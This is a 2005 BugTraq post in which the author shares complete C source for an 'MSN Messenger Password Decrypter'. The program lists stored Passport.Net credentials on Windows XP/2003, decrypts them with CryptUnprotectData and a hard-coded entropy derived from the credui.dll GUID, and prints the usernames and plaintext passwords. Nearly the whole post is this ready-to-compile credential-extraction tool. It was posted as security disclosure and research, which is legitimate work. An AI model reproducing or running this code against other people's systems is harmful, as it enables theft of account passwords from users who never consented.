BugTraq
MSN Messenger Password Decrypter for WinXP/2003 Aug 17 2005 06:27PM
ViPeR (viper31337 yahoo co in)
MSN Messenger uses Windows Credential UI [credui.dll]
on WinXP/2003. Password-Storage mechanism differs in
these OSes so, the code posted by tombkeeper
[http://xfocus.net/articles/200408/726.html] doesn't
seem to work anymore on my OS atleast. Also, a
'entropy' value has been thrown, which is based on
credui.dll GUID.

So, here is the code that fullfils the same purpose -
but surely works on my OS [WinXP SP2] :)

/--- Start-Code --/

/*
* MSN Messenger Password Decrypter for Windows XP &
2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN
Messenger 7.0)
* - Gregory R. Panakkal
* http://www.crapware.tk/
* http://www.infogreg.com/
*/

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

#pragma comment(lib, "Crypt32.lib")

//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK /
LCC-Win32 Includes]

typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;

typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;

typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;

////////////////////////////////////////////////////////////////////

typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR,
DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD,
DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);

typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;

////////////////////////////////////////////////////////////////////

void showBanner()
{
printf("MSN Messenger Password Decrypter for
Windows XP/2003\n");
printf(" - Gregory R. Panakkal,
http://www.infogreg.com \n\n");
}

////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
DATA_BLOB blobCrypt, blobPlainText, blobEntropy;

//used for filling up blobEntropy
char szEntropyStringSeed[37] =
"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
short int EntropyData[37];
short int tmp;

HMODULE hDLL;
DWORD Count, i;

showBanner();

//Locate CredEnumerate, CredRead, CredFree from
advapi32.dll
if( hDLL = LoadLibrary("advapi32.dll") )
{
pfCredEnumerateA =
(typeCredEnumerateA)GetProcAddress(hDLL,
"CredEnumerateA");
pfCredReadA =
(typeCredReadA)GetProcAddress(hDLL, "CredReadA");
pfCredFree =
(typeCredFree)GetProcAddress(hDLL, "CredFree");

if( pfCredEnumerateA == NULL||
pfCredReadA == NULL ||
pfCredFree == NULL )
{
printf("error!\n");
return -1;
}
}

//Get an array of 'credential', satisfying the
filter
pfCredEnumerateA("Passport.Net\\*", 0, &Count,
&CredentialCollection);

if( Count ) //usually this value is only 1
{

//Calculate Entropy Data
for(i=0; i<37; i++) //
strlen(szEntropyStringSeed) = 37
{
tmp = (short int)szEntropyStringSeed[i];
tmp <<= 2;
EntropyData[i] = tmp;
}

for(i=0; i<Count; i++)
{
blobEntropy.pbData = (BYTE *)&EntropyData;
blobEntropy.cbData = 74;
//sizeof(EntropyData)

blobCrypt.pbData =
CredentialCollection[i]->CredentialBlob;
blobCrypt.cbData =
CredentialCollection[i]->CredentialBlobSize;

CryptUnprotectData(&blobCrypt, NULL,
&blobEntropy, NULL, NULL, 1, &blobPlainText);

printf("Username : %s\n",
CredentialCollection[i]->UserName);
printf("Password : %ls\n\n",
blobPlainText.pbData);
}
}

pfCredFree(CredentialCollection);
}

/--- End-Code --/

URL :
http://www.infogreg.com/source-code/gpl/msn-messenger-password-decrypter
-for-windows-xp-and-2003.html

rgds,
Gregory R. Panakkal

____________________________________________________
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